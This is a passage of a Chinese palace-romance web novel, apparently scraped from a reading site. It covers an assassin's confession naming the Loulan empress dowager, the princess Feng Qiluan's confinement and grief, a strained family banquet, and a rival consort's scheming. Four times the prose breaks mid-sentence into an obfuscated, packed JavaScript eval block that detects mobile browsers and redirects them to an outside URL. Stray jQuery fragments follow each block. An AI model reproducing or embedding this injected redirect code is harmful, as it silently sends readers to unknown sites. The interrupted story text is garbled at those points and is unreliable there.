澹台湛的神色没有半分波澜,仿佛在说一件与自己毫不相干的公事。 “皇兄放心,她无碍。”他淡淡地开口,“至于刺客,还在审。此事牵连甚广,在水落石出之前,任何人接近她,都可能有危险。” “那也不能就这么把她关起来啊!”凤璟急了,“她本就心情郁结,再这么下去,岂不是要闷出病来?朕看,不如……” “皇兄,”澹台湛打断了他,“在查明真相之前,她暂时绝不能回楼兰。” “为何?!” “因为这趟浑水,远比你我想象的要深。”澹台湛的眸色沉了下去,“她留在金国,留在我们眼皮子底下,才是最安全的。” 凤璟看着他那副笃定又强势的样子,最终只能无奈地叹了口气。 未央殿内,一连几日,都安静得可怕。 凤栖鸾的精神彻底萎靡了下去。 她不哭,也不闹,只是常常一个人坐在窗边,一坐就是一整天。 春桃端来的饭菜,她动不上两口;春桃陪她说话,她也只是偶尔应一声,大多数时候,都仿佛没有听见。 她对周遭的一切,似乎都失去了兴趣。 她常常望着窗外那四四方方的天空,眼神空洞,不知道在看什么,也不知道在想什么。 诏狱最深处的刑房里,血腥味浓得几乎让人窒息。 那个被活捉的刺客头领,已经被折磨得不成人形,浑身没有一块好肉,只剩下一口气吊着。 “说。” 澹台湛坐在铺着虎皮的太师椅上,慢条斯理地擦拭着手上的一枚墨玉扳指,连眼皮都未曾抬一下。 可他身上散发出的那股矜贵而冷冽的杀气,却比任何酷刑都更让人胆寒。 那刺客头领浑身一颤,早已被磨灭的意志终于彻底崩溃了。 “是……是太后……是楼兰的太后!”他用尽最后一丝力气,嘶吼了出来。 澹台湛擦拭的动作,微微一顿。 “说清楚。” “是太后……太后娘娘不愿看到和约达成,更不愿看到……看到皇后娘娘再回楼兰……” 那刺客像是倒豆子一般,将所有知道的事情都断断续续地交代了出来。 “太后说……皇后娘娘心向金国,是祸水,若让她回去,必定会蛊惑君王,让楼兰万劫不复……所以……所以才派我们来,杀了她……只要她死了,金国没了人质,和约……和约便可作废……” 审讯室里,陷入了死一般的寂静。 澹台湛缓缓放下手中的玉扳指,面无表情。 原来是那个老妖婆。 得知真相的这一刻,他的心情极度复杂。 意料之外,却又在情理之中。 他心中,竟有一丝说不清道不明的释然。 不是裴清宴。 那个男人,终究还没有丧心病狂到要亲手杀死自己的妻子。 可这丝转瞬即逝的释然,很快就被一股更浓烈的、带着嘲讽的怜悯所取代。 他怜悯凤栖鸾,怜悯她为了那么一个腐朽不堪的王室,付出了自己的所有,换来的却是婆母的赶尽杀绝。 但他更觉得她可笑,可笑她咎由取! 若不是她当年执意要走,又怎会落到今天这个任人宰割、众叛亲离的境地? 她以为她嫁的是爱情,嫁的是良人,可她嫁的那个男人,连自己的母亲都约束不了,连自己的妻子都保护不了,何其无能! 这一切,都是她自己选的! 澹台湛在诏狱的阴风中站了许久,才将心中那股混杂着怒火、怜悯与嘲讽的复杂情绪压了下去。 他转身,大步流星地走出了这片污秽之地。 他要入宫。 他要亲手把这血淋淋的真相,撕开给她看! 他要让她知道,她心心念念维护的那个国家,她舍身守护的那个王室,到底都是些什么样的货色! 他要让她知道,只有他身边,才是最安全的地方! 未央殿内,死一般的寂静。 澹台湛再次踏入这里的时候,凤栖鸾正对着窗外的落叶发呆。 她瘦了很多,原本合身的宫装穿在身上,显得有些空荡荡的。那张巴掌大的小脸,更是苍白得没有一丝血色,仿佛一阵风就能吹倒。 听到脚步声,她缓缓回过头,看到是他,眼中没有半分波澜,仿佛只是看到一个无关紧要的陌生人。 这种彻底的漠视,比任何针锋相对都更让澹台湛恼火。 “刺客的幕后主使,查到了。”他开门见山,声音冷得像冰,不带一丝一毫的铺垫。 凤栖鸾的睫毛,几不可查地轻轻颤了一下。 澹台湛死死地盯着她的脸,不放过她任何一丝细微的表情变化。 他想看到她震惊,看到她痛苦,看到她为自己当初的选择而悔不当初。 “是楼兰的太后。” 凤栖鸾在听到这个名字的瞬间,只是沉默了良久。 她的嘴角缓缓地扯出了一抹苦涩至极的笑。 “是她啊……”她轻声呢喃,像是在对自己说,“原来……是她。” 她早就该想到的。 那个从她嫁入楼兰第一天起,就视她为眼中钉、处处刁难的婆母,又怎么可能容得下她活着回去,继续蛊惑她的儿子? 只是没想到,她竟会如此决绝,连一丝一毫的活路,都不肯留给她。 何其可笑。 第70章 不得离开金国半步 第七十章不得离开金国半步 “所以呢?”凤栖鸾抬起头,那双空洞的眸子平静地看着他。 “王爷是来告诉我,我的死期到了吗?还是说,你准备用这个理由,再次向楼兰发兵?” 她的声音很轻,却带着一股洞悉一切的讥讽。 “为了保障你的安全,”澹台湛避开了她的问题,“在金国彻底向楼兰问责之前,你不得离开金国半步,并且需要配合后续的一切事宜。” “问责?” 凤栖鸾像是听到了什么天大的笑话,低低地笑了起来。 “王爷要如何问责?为了我这个金国的公主,再让两国燃起战火,让无数将士埋骨沙场吗?” 她看着他,眼神里满是疲惫。 “不必了。” “这是我楼兰的家事,就不劳摄政王费心了。” 她再一次,清清楚楚地,将自己和他,划清了界限。 哪怕被伤得体无完肤,她依旧固执地将自己归为楼兰的一份子。 澹台湛看着她这副油盐不进、甚至还一心向着楼兰的模样,预期中的那些嘲讽和奚落,竟一句都说不出口。 他准备好了一肚子刻薄的话,准备看她痛哭流涕、后悔莫及的样子。 可她没有。 她平静得像一潭死水,仿佛早已接受了自己被全世界抛弃的命运。 这种感觉,就像他卯足了劲,一拳狠狠地打在了棉花上,无处着力,憋闷至极。 一股莫名的烦躁,再次涌上心头。 他发现,自己根本无法掌控这个女人。 哪怕他能掌控她的生死,也无法掌控她的心。 “不知好歹!” 最终,澹台湛从牙缝里挤出这四个字,再也待不下去,猛地一甩袖,大步流星地离开了未央殿。 接下来的几日,澹台湛没有再出现。 但未央殿外的守卫,却是有增无减,将这里围得如铁桶一般。 凤璟来看过两次,都被侍卫拦在了外面,只说王爷有令,任何人不得探视。 凤璟虽是皇帝,却也拿这个手握重兵的弟弟无可奈何,只能每日派人送来大量的补品,又急得嘴上起了好几个燎泡。 他眼看着这两人之间的僵局,如同拉满的弓,随时都有崩断的危险,心中焦急万分。 思来想去,他决定设一场小宴。 没有外人,不谈国事,就在他寝殿的暖阁里,只有他们兄妹三人,像小时候一样,安安生生地吃一顿饭。 或许,在饭桌上,有些话说开了,就好了。 于是,一封请柬,分别送到了未央殿和摄政王府。 凤栖鸾本不想去,可来传旨的是李广权,话里话外都是皇兄的担忧,她实在不忍拒绝兄长的好意,只得应下。 而澹台湛接到旨意时,只是冷哼了一声。 他自然知道凤璟打的什么算盘。 可君命难违,他最终还是换上一身玄色常服,准时赴宴。 暖阁内,地龙烧得正旺,温暖如春。 一张小小的紫檀木圆桌上,已经摆满了精致的菜肴,大多都是凤栖鸾和澹台湛年少时爱吃的口味。 可见凤璟是用心了。 这暖融融的气氛,却丝毫驱散不了三人之间的尴尬。 凤栖鸾安静地坐在凤璟的左手边,眼观鼻,鼻观心,一身素雅的湖蓝色宫装,衬得她本就苍白的脸色越发憔悴。 “咳……” 凤璟清了清嗓子,试图用自己皇帝的身份强行破冰。 “栖鸾,尝尝这个,松鼠鳜鱼,酸甜口的,你小时候一吃这个,饭都能多吃半碗。” 凤栖鸾抬起头,对着凤璟露出一个浅淡的、几乎看不见的笑。 “多谢皇兄。” 她礼貌地应着,伸出筷子,夹了一小块鱼肉放进碗里,却并未动口,只是用筷子轻轻拨弄着。 凤璟见状,又转向澹台湛:“阿湛,你也是,别光喝酒。这道水晶肴肉,你以前……” “皇兄不必白费心机了。” 澹台湛冷冷地打断了他,晃了晃手中的酒杯,目光似有若无地落在凤栖鸾身上。 “五年时间,想必早就习惯了粗茶淡饭。如今再对着这些精雕细琢的菜肴,公主怕是已经食不下咽了。” 凤栖鸾握着筷子的手微微一紧,知道对方在嘲讽着自己,却依旧没有抬头。 “阿湛!” 凤璟的脸色沉了下来,“你少说两句!” 澹台湛冷哼一声,不再言语,仰头将杯中酒一饮而尽。 他其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370341|183651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实也知道凤栖鸾的不容易。 但不知为什么,一看她为着另外一个男人闷不作声,甚至完全同从前不一样的模样,自己就是心里气不打一处来。 为了另外一个男人而丧失了自我,值得吗? 这一番话他自然不会去询问。 凤栖鸾本就病后体弱,心力交瘁,被这气氛一压,更是觉得胸口发闷。 凤璟心疼她,又劝她喝了一杯暖身的薄酒。 那酒入喉,像一团火,烧得她本就混沌的头脑更加晕眩。 “皇兄,臣妹有些不适,想出去走走。” 她放下酒杯,轻声告退。 “去吧,当心着凉。”凤璟连忙道。 凤栖鸾福了福身,转身离开暖阁。 阁外的夜风带着深秋的凉意,吹在脸上,让她混乱的思绪稍稍清明。 离开了澹台湛之后,那一股若有似无的压力其实也轻了许多。 她扶着冰冷的白玉栏杆,大口地呼吸着新鲜空气。 春桃想跟在她的身后。却被她扶了扶手叫退了下去。 此时此刻…… 她只想一个人安静的待着。 或许是站得急了,她眼前猛地一黑,身子一软,控制不住地便向一旁倒去! 预想中的疼痛并未传来。 一只铁钳般的大手,在她即将摔倒的瞬间,扣住了她的手臂,稍一用力,便将她整个人都带进了冰冷的怀抱。 凤栖鸾惊魂未定,下意识地抬起头,撞入了一双深不见底的凤眸。 是澹台湛。 他不知何时也跟了出来,正静静地站在她身后。 两人距离极近,她能清晰地感受到他身上传来的、混合着酒气的清冽气息。 能感受到他温热的呼吸,一下下拂过自己的额前。 他们二人离得很近很近…… 近到她甚至能够闻到男人身上若有似无的檀木香。 他扶着她手臂的手没有立刻松开,那灼热的温度,透过薄薄的衣料,烫得她肌肤一阵战栗,仿佛要留下烙印。 气氛,一时间变得微妙而僵持。 就在凤栖鸾想要挣脱的瞬间,一道娇柔的声音,恰到好处地打破了这片宁静。 “王爷?姐姐?你们这是……” 第71章 挂念旧情 第七十一章挂念旧情 二人的身后,不知何时又出现了沈月凝。 沈月凝瞧见两人如此亲密的姿态,眼中飞快的闪过了一丝怒意,但是很快又被浅浅的笑容所取代。 她上前一步,故作担忧的问道。 “姐姐……你没事吧?瞧你这脸红的,可是不胜酒力?” 说着这话时,她又极其自然的伸出了手,将凤栖鸾从澹台湛的身边扶开。 “你姐姐你也真是,身子还没好利索呢,怎么能贪杯呢?王爷也是,您最是心疼姐姐了,怎么也不劝着点。” 澹台湛微微皱了皱眉头,神情略带了几分的不耐。 可他还没有说什么的时候。 旁边女人又开口了。 “姐姐,你可千万别多想。王爷就是这样,刀子嘴豆腐心,看着冷漠,其实最是重情义。毕竟,您是陛下唯一的妹妹,他身为摄政王,自然有责任照顾好您。” “就像他对我一样,嘴上不说,心里却是什么都记挂着的。他今日会护着你,不过是出于责任罢了,你可别误会了什么,以为……王爷对你还念着旧情。” 她这番话,句句诛心,就是在明明白白地告诉凤栖鸾:认清你自己的身份,别再痴心妄想了。 若是换做从前,凤栖鸾或许还会因此而感到难堪和刺痛。 可如今,在经历了生死与幻灭之后,她的心,早已趋于一片死寂的平静。 这些后宅女子争风吃醋的伎俩,在她看来,只觉得可笑又无聊。 凤栖鸾缓缓地、却坚定地,从澹台湛的手中抽回了自己的手臂。 她甚至没有看沈月凝一眼,只是对着澹台湛,淡淡地福了福身。 “多谢王爷。” “王爷日理万机,还要为我这个妹妹费心,是我的不是,夜深了就不叨扰王爷和王妃了。” 话音落下,她便不再看他们一眼。 甚至连一个多余的表情都没有,转身头也不回的朝着刚才的方向走去。 沈月凝楞了一下。 看着凤栖鸾那副云淡风轻、根本没把自己放在眼里的模样,气得半死,暗中将手中的帕子绞得死紧,指甲都几乎要嵌进肉里。 凭什么? 凭什么这个女人可以永远摆出这副高高在上的姿态?!她明明已经一无所有了! 而澹台湛,在凤栖鸾转身的那一刻,几乎是下意识地便要抬步跟上去。 只是他看着她那瘦削而孤单的背影,明明脚步虚浮但却走得那么倔强,他心中的那股莫名的烦躁再次涌了上来。 想跟上去,想看看她是不是真的没事,想…… 可是自己也说不清自己到底想做什么。 但脚步才刚刚抬起,谁知手臂却被一股柔软的力量拉住了。 “王爷……” 只见沈月凝紧紧地拉着他的衣袖,仰起那张我见犹怜的小脸,那一双美目中水光潋滟。 “夜深了,风大,您也要当心身子。姐姐有宫人照顾,不会有事的。” 而澹台湛的脚步,就这么被她生生地拦了下来。 只得停在原地,目光望着凤栖鸾那消失的方向。 而沈月凝见他不动,心中稍安,手上却不敢放松:“王爷,我们……也该回去了吧?您陪臣妾出来这么久,若是着了凉,臣妾会心疼的。” 澹台湛终于缓缓地收回了目光。 而他没有追上去不是因为沈月凝的阻拦,区区一个女人,还拦不住他。 可自己若是此刻追上去,只会换来抵触。 虽说可以强行把她带走,可以禁锢她的身体,却无法阻止她的心离自己越来越远。 而且…… 凭什么让他去追一个一心只想着别的男人的女人? 自己选择的路,就该自己走下去。 而想到这里,澹台湛眼中的最后一丝温度也彻底褪去。 随即他低下头,视线落在沈月凝那只紧紧抓着自己衣袖的手上,眼神里没有半分温度,只有毫不掩饰的冰冷不耐。 “放手。” 闻言沈月凝的身子猛地一僵,脸上的血色消失不见。 而另一边,凤栖鸾刚走出不远,便觉得眼前天旋地转。 酒意和连日来的心力交瘁一同上涌,让她有些眩晕。 “娘娘!” 不远处一直守着的春桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377520|183651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见状,连忙跑了过来,上前一把扶住了她摇摇欲坠的身体。 “娘娘,您怎么了?是不是哪里不舒服?” 见状春桃的声音里满是焦急,她能感觉到自家主子浑身冰凉,还在发抖。 “我没事……” 只见凤栖鸾靠在她的肩上,轻轻摇了摇头,声音有些虚弱,“就是……有点头晕。” 随即春桃扶着她往未央殿走,一边走,一边气得咬牙切齿。“都怪那个摄政王王妃!” “她刚才那些话,分明就是说给您听的!什么叫责任?什么叫念旧情?她以为她是谁啊!要不是她爹……” 谁知春桃说到一半,又怕戳到主子的伤心事,又连忙住了口,只是眼圈却红了。 她心疼自家娘娘。 明明是金枝玉叶的公主,却要受这种委屈。 那个沈月凝,不过是仗着家世和王爷的权势,就在这里耀武扬威,真是小人得志! 凤栖鸾听着她愤愤不平的话,只是淡淡地笑了笑,那笑意却比哭还难看。 “傻丫头,跟她置什么气。” 她轻声说道,“她说得……也没错。” 责任,可不就是责任吗? 若不是因为她是金国的公主,是凤璟唯一的妹妹,他澹台湛又何须在她身上费这么多心思? 春桃听了这话,心里更难受了,眼泪在眼眶里打转。 “娘娘,您别这么想……王爷他……他心里肯定是有您的!” 凤栖鸾没有再说话。 有没有,又有什么关系呢? 回不去了。 一切,都早就回不去了。 回到未央殿,春桃伺候着凤栖鸾卸了钗环,换上寝衣。 看着铜镜里那张苍白憔悴的脸,凤栖鸾有片刻的失神。 她想起了五年前,自己也是这样坐在镜前,满心欢喜地试着嫁衣,憧憬着与裴清宴的未来。 那时候的她,以为自己嫁的是一世安稳,是琴瑟和鸣。 可谁能想到,五年后,她会落到这般田地。 被夫家追杀,被故国囚禁。 里外不是人。 何其可悲。 第72章 不必讲这些虚礼 第七十二章不必讲这些虚礼 “娘娘,喝了安神汤再睡吧,柳太医说了,您要好生静养。” 春桃端着一碗温热的药汤走了进来,打断了她的思绪。 凤栖鸾接过药碗,一饮而尽。 那苦涩的药汁顺着喉咙滑下,似乎也冲淡了心底那点翻涌的情绪。 很快她便躺在床上,随即闭上眼,可脑海里却乱糟糟的。 一想到楼兰太后那张刻薄的脸,沈月凝那虚伪的笑,还有……澹台湛那双冰冷的眼神。 以及,他扶住自己时,手臂上那灼人的温度,她根本就没办法睡着。 就这样一夜无眠,当天边泛起鱼肚白,凤栖鸾依旧睁着眼,眸中一片空洞。 而她只是这么静静地躺着,直到春桃端着铜盆轻手轻脚地走进来。“娘娘,您醒了?” 只见春桃的声音有些关切,“奴婢伺候您起身吧?御膳房送了您最爱喝的百合莲子粥。” 见状凤栖鸾缓缓地坐起身,任由春桃为她披上外衣。 随即她看了一眼桌上那碗热气腾騰的粥,只觉得胃里一阵翻涌,丝毫没有胃口。 她声音沙哑得厉害。“快撤了吧。” 春桃急得眼圈都红了。“娘娘,您好歹用一些吧,您都好几日没好好吃东西了,身子怎么受得住啊!” 闻言凤栖鸾只是摇了摇头,没有再说话。 而就在主仆二人僵持不下时,殿外传来内侍恭敬的通传声。 “陛下驾到——” 听见这通报,凤栖鸾和春桃都是一愣。 这么早,皇兄怎么会过来? 谁知不等她们反应,一身明黄常服的凤璟已经快步走了进来。 下一秒他挥手屏退了所有宫人,只留下春桃一人伺候。 凤璟开口,语气有些无奈。“都说了不必通传。” 随后他走到凤栖鸾面前,看着她那苍白的脸色,眉头紧紧地锁了起来,满是心疼。 “怎么又瘦了?” 他叹了口气,“桌上的粥怎么没动?是不是不合胃口?朕让御膳房重新给你做。” “拜见皇兄……” 凤栖鸾站起身,想行礼,却被凤璟一把按住。“坐下,我们兄妹之间,不必讲这些虚礼。” 随后凤璟拉着她在桌边坐下,亲自拿起汤匙,舀了一勺粥,递到她嘴边,语气是前所未有的温柔。 “听话,陪皇兄用一些,好不好?” 凤栖鸾看着兄长眼中那毫不掩饰的担忧,那拒绝的话也说不出口。 她只能默默地张开嘴,随后将那勺温热的粥咽了下去。 “栖鸾,再过一个多月,就要过年了。” 凤栖鸾的心,猛地一抽。 过年。 多么温暖,又多么讽刺的一个词。“一晃,你已经有五年,没有在金国过年了。” “皇兄知道,这些年,委屈你了,今年,就留在宫里,陪皇兄一起过个团圆年,好吗?” 团圆年。 她还有什么资格,谈团圆? 家,她早就没有了。 在楼兰,她是人人得而诛之的祸水、罪人。 在金国,她是寄人篱下的楼兰皇后,是挑起两国争端的麻烦。 她像一棵被连根拔起的浮萍,在波涛汹涌的命运里,找不到任何可以停靠的岸。 她看着凤璟眼中那殷切的期盼,那份小心翼翼的、想要弥补的爱护,心中酸涩难当。 这是皇兄能给她的、最大的善意和保护了。 她若是再拒绝,该有多伤他的心? 在这个世上,或许也只有他,是真心实意地把自己当做亲人了。 凤栖鸾缓缓地垂下眼,将所有翻涌的情绪都压了下去,再抬起头时,脸上已经挂上了一抹极其浅淡的、却努力显得温顺的笑容。 “好。” 她轻声应道。 “臣妹……听皇兄的。” 听到了凤栖鸾这一声,凤璟紧锁的眉头也总算舒展开来了。 “好……那便好!” 若是真将凤栖鸾放回了楼兰,不只是阿湛担心,其实自己也肯定放心不下。 瞧见凤栖鸾这一副沉默的模样,她伸出了手,想和小时候那般,宠溺的揉一揉她的头发。 可手伸到了一半,又顾及她如今已是妇人,身份不同往昔,终究是有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377521|183651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些尴尬的收了回来。 妹妹还是长大了…… 凤璟叹气了一声,“你能这样想皇兄就放心多了,未央殿里里外外正都换上了得力的人。” “你且安心住着,什么都不要怕,什么也不用想,从今往后,只要有皇兄在这里就是你的家,再也没有人敢给你气受。” 听到了自家皇兄的这一番话,凤栖鸾微微抬眸。 家…… 她真的在金国还有家吗? 沉默的答复了一声后,又垂下了眼,长长的睫毛在眼下投下了一片阴影,遮住了眸中所有的情绪。 “好了,你先好好休息,千万不要多想,如果是有什么事情的话,就直接吩咐手底下的人让他们来找朕就好了。” 凤栖鸾只是轻轻地嗯了一声,算是回应。 凤璟见她虽然依旧没什么精神,但总归是听话顺从了,心中已是万分满足。 自己这个妹妹性子倔强,能让她点头,已是极不容易,不能逼得太紧。 他转过头,看向一旁眼眶通红、又是心疼又是欢喜的春桃,神情恢复了几分君王的威严,沉声吩咐道。 “春桃,好好伺候你家主子。她身子虚,畏寒,殿内的炭火要烧得足些,但也要注意通风,别闷着了。还有饮食上,让御膳房那边费心,每日都要炖些温补的汤羹,一顿都不能少。要是娘娘胃口不好,就想办法哄着她用一些。有什么情况,随时来向朕禀报,不得有误。” 闻言春桃连忙跪下,重重地磕了个头,声音里带着哽咽,“奴婢遵旨!奴婢谢陛下隆恩!奴婢一定……一定好好照顾娘娘!” 见状凤璟摆了摆手,又对凤栖鸾温声道:“起来吧,皇兄还有些奏折要批,就不多留了。” 说完,他便站起身,带着内监离开了未央殿。 直到那抹明黄色的身影彻底消失在殿外,凤栖鸾才缓缓抬起头。 …… 另一边,御书房内。 “阿湛久等了。” 凤璟的心情显然极好,连带着看澹台湛时,眼神都比平日里温和了许多。 见状,澹台湛缓缓转过身,朝他微微颔首,算是行礼:“参见陛下。” 第73章 她同意了 第七十三章她同意了 “朕方才,去看了栖鸾,让她安心留在宫里,陪朕一起过个团圆年。” “栖鸾答应朕了,你小子啊,就放心吧!” 闻言,澹台湛愣了一秒。 她不走了。 想到这,澹台湛面上依旧是那副波澜不惊的模样。 只是周身那股生人勿近的冰冷气息,悄然散去了些许。 随后他端起茶杯,送到唇边。“如此甚好,公主殿下能想通,是陛下的福气,也是金国之幸。” 只是他说得冠冕堂皇,将一切都归于国事。 而凤璟自然没有怀疑,只当澹台湛是真心为自己这个君主分忧,心中对他愈发倚重。 很快君臣二人又商议了一些关于年关的布防与朝政的琐事,澹台湛才告退离去。 走出御书房,迎面而来的是冬日里略带寒意的晨光。 他那黑眸中,那万年不化的坚冰,似乎悄然融化了一角,透出了一丝他自己都未曾察觉的暖意。 她答应留下了。 回到摄政王府时,天已大亮。 马车很快在府门前停稳,便有管家恭敬地上前迎接。 只见澹台湛面无表情地跨下马车,一身玄色**袍衬得他愈发身形挺拔,气势迫人。 府内的下人们远远看见他,便都屏息垂首,不敢有半分逾矩。 随即径直朝着自己的书房走去,脚步比往常似乎轻快了那么一丝。 刚踏入缀锦院,一道柔婉的身影便迎了上来。 “王爷,您回来了?” 只见沈月凝一身藕荷色的软绸长裙,衬得她本就羸弱的身姿更显娇柔。 “您这么早便入宫,定是累了吧?臣妾已让厨房备下了您爱吃的点心热茶,您快进屋暖暖身子。” 说着,她便自然而然地伸出手,想为他解下身上披风。 若是往常,澹台湛或许会直接避开,或是冷淡地让她不必多此一举。 但今日,他似乎并没有拒绝自己。 沈月凝见状,心中一喜,以为是王爷终于是接受自己了。 王爷今天的心情……很好? “王爷今日入宫,可是朝中有何要事?” 被拉回现实的澹台湛只是掀起眼皮看了她一眼。 “不该问的别问。” “臣妾……臣妾只是关心王爷……” 就在这时,一名黑衣护卫出现。 “主子。” 见状,澹台湛的脚步停了下来,转过身挥了挥手,示意沈月凝退下。 沈月凝心中百般不愿,却不敢违抗,只能福了福身,应了声“是”。 影卫的声音压得很低,断断续续地顺着风飘过来。 “……未央殿的粥,公主殿下用了半碗……精神尚可……” “柳太医已去请过脉,说是心力交瘁,需得静养……” 每一个字,每一句话,都像是一根根淬了毒的钢针,狠狠地扎进沈月凝的心里! 留在宫里?她竟然不走了? 用了半碗粥……精神尚可…… 他竟然派了影卫去监视凤栖鸾的一举一动!连她吃了多少饭,精神怎么样,这种后宅妇人才会关心的琐事,他竟然都要一一过问! 一股前所未有的恐慌和嫉妒,如同汹涌的潮水,瞬间将沈月凝吞噬。 她一直以为,凤栖鸾已经彻底出局了。她是一个被夫家追杀、被故国囚禁的**皇后,是一个一无所有的失败者!而自己,是高高在上的摄政王妃,是澹台湛名正言顺的妻子! 可现在她才明白,自己错得有多离谱! 澹台湛对凤栖鸾的在意,根本没有因为她的落魄而减少分毫,反而变本加厉!他甚至动用了最精锐的影卫,去打探那个女人吃了什么,睡得好不好! 而对自己呢?除了在床笫之间的占有,他何曾有过半分温情?何曾关心过她今日用膳用了几口,心情是好是坏? 凭什么? 那个女人到底有什么好?凭什么她都已经沦落到这般田地,还能轻而易举地牵动澹台湛所有的心神?! 沈月凝死死地咬着下唇,指甲深深地掐进掌心,尖锐的刺痛让她勉强维持着没有失态。 澹台湛的心,根本就不在她这里! 或许,从来都没有过! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377522|183651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并且他将凤栖鸾留在金国,不是为了责任,不是为了掣肘楼兰,而是为了将那只凤凰,牢牢地锁进他自己打造的笼子里! 而她沈月凝,连同整个沈家,或许都只是他用来困住凤栖鸾的工具。 是他为了名正言顺地插手凤栖鸾之事而立起的一块挡箭牌! 想到这让她如坠冰窟,浑身发冷。 只要凤栖鸾还在一日,她这个摄政王妃的位置,就如同建立在沙子上之上,只要有一盆水,随时都有可能倾覆。 不行,绝不能这样下去! 想到这沈月凝缓缓地松开紧握的拳头,掌心早已是一片血肉模糊。 她压下心底翻江倒海的恨意,再抬起头时,那双我见犹怜的美目中,已经淬上了一层冰冷的寒光。 凤栖鸾,你以为留在宫里就能高枕无忧吗? 我能让你从楼兰皇后的位置上摔下来一次,我就能再让你从澹台湛的心尖上再摔下来一次! 而且这一次,我要你摔得粉身碎骨,永世不得翻身! 自那日家宴不欢而散后,又过了十数日。 金国的京城,已经渐渐有了新年的味道。 凤栖鸾答应留下过**情,最高兴的莫过于凤璟,甚至下令整个皇宫都要为即将到来的除夕宫宴和灯会好好准备,规格要比往年更盛大。 一时间,内务府、司礼监等各处都忙碌了起来。 宫中处处张灯结彩,朱红的宫墙上挂起了一盏盏崭新的八角宫灯。 宫人们的脸上也多了几分喜气,三三两两地聚在一起。 整个皇宫,都沉浸在一片喜气洋洋、欣欣向荣的氛围之中。 但,这漫天的喧嚣却和未央殿没有一丝关系。 凤栖鸾常常一个人坐在窗边的软榻上,一坐就是一整天。 经常手里捧着一卷书,目光空洞地落在窗外那一片四四方方的、被宫墙切割得无比规整的天空上。 她这样一看,便是一个下午。 春桃看在眼里,急在心里。 “娘娘,您看,内务府送来了今年灯会要用的花灯样子,让您挑几个喜欢的呢!” 第74章 她什么也没有 第七十四章她什么也没有 春桃捧着一本册子,兴冲冲地跑到她面前,献宝似的展开。 “娘娘,您看这个鲤鱼跃龙门的,多气派!还有这个,是并蒂莲,寓意也好。咱们挑一个,到时候挂在殿门口,也沾沾喜气,好不好?” 凤栖鸾的视线在那些精致的图样上停留了片刻,却没有任何波澜。 “你喜欢哪个,便挑哪个吧。” “娘娘……” 春桃不甘心继续劝道。 “那……那过两日,尚衣局会送新裁的宫装来,说是陛下吩咐的,给您做了好几身新衣裳,准备除夕宫宴上穿的。到时候您亲自挑一挑料子和颜色,好不好?” 凤栖鸾没有回答,只是重新将目光投向了窗外。 她看着一片枯黄的落叶,打着旋儿,从光秃秃的枝丫上飘落,最终落在地面上。 她也像那片落叶一样。 曾经,她也期待过过年。 在金国做公主的时候,过年意味着可以暂时抛开繁重的课业。 和皇兄、和那个时候还不是摄政王的澹台湛一起,溜出宫去逛热闹的灯会,猜灯谜,看烟花。 那时的天总是很蓝,笑声总是很清脆,连冬日的风,都带着甜丝丝的味道。 后来,嫁去了楼兰,她成了楼兰的皇后。 过年,便成了一场盛大而孤独的典礼。 她要穿着繁复的朝服,端庄地坐在裴清宴的身边,接受百官的朝拜,对着子民展露母仪天下的微笑。 宫宴很盛大,烟花很绚烂,可那一切的热闹,都像是隔着一层看不见的纱,与她毫无关系。 她是楼兰的皇后,却永远也无法融入那片土地的欢腾。 而现在呢? 她回到了金国,回到了她出生的地方。 可这里,也不再是她的家了。 她像一个四处漂泊的孤魂野鬼,在楼兰,是异乡人;在金国,也成了异乡人。 热闹是他们的,她什么也没有。 这种感觉,比身在楼兰时的孤独,更加刺骨,更加绝望。 “娘娘?娘娘?” 春桃的呼唤,将她从无边的思绪中拉了回来。 “什么事?”她缓缓地眨了眨眼,眸中一片茫然。 “奴婢说,尚衣局……” “不必了。”凤栖鸾打断了她,“随便她们送什么来吧,都一样。” 说完,她便不再言语。 重新将自己封闭回那个无人能触及的世界里,与周遭这片正在苏醒的、喜气洋洋的皇宫,彻底地格格不入。 